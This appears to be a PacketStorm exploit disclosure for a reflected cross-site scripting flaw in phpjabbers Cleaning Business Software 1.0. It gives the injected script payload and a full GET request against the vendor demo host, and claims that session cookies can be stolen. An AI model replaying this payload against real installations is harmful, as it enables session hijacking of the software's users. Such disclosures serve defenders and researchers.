Share
## https://sploitus.com/exploit?id=PACKETSTORM:174521
## Title: Cleaning Business Software-1.0 XSS-Reflected  
## Author: nu11secur1ty  
## Date: 09/06/2023  
## Vendor: https://www.phpjabbers.com/  
## Software: https://www.phpjabbers.com/cleaning-business-software/#sectionDemo  
## Reference: https://portswigger.net/web-security/cross-site-scripting/reflected  
  
## Description:  
The value of the index request parameter is copied into the value of  
an HTML tag attribute which is encapsulated in double quotation marks.  
The payload ys2hj"><script>alert(1)</script>u8zwj was submitted in the  
index parameter. This input was echoed unmodified in the application's  
response.  
The attacker can get all cookie information about the user session!  
  
STATUS: HIGH Vulnerability  
  
[+]Testing Payload:  
```GET  
GET /1693971587_409/index.php?controller=pjFront&action=pjActionServices&locale=1&index=3514ys2hj%22%3e%3cscript%3ealert(1)%3c%2fscript%3eu8zwj  
HTTP/1.1  
Host: demo.phpjabbers.com  
Accept-Encoding: gzip, deflate  
Accept: */*  
Accept-Language: en-US;q=0.9,en;q=0.8  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)  
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.141  
Safari/537.36  
Connection: close  
Cache-Control: max-age=0  
Cookie: CleaningBusiness=v1s3db2187im339fcbqifuabg7  
Origin: http://demo.phpjabbers.com  
Referer: http://demo.phpjabbers.com/  
Sec-CH-UA: ".Not/A)Brand";v="99", "Google Chrome";v="116", "Chromium";v="116"  
Sec-CH-UA-Platform: Windows  
Sec-CH-UA-Mobile: ?0  
  
```  
  
## Reproduce:  
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/phpjabbers/2023/Cleaning-Business-Software-1.0)  
  
## Proof and Exploit:  
[href](https://www.nu11secur1ty.com/2023/09/cleaning-business-software-10-xss.html)  
  
## Time spent:  
00:25:00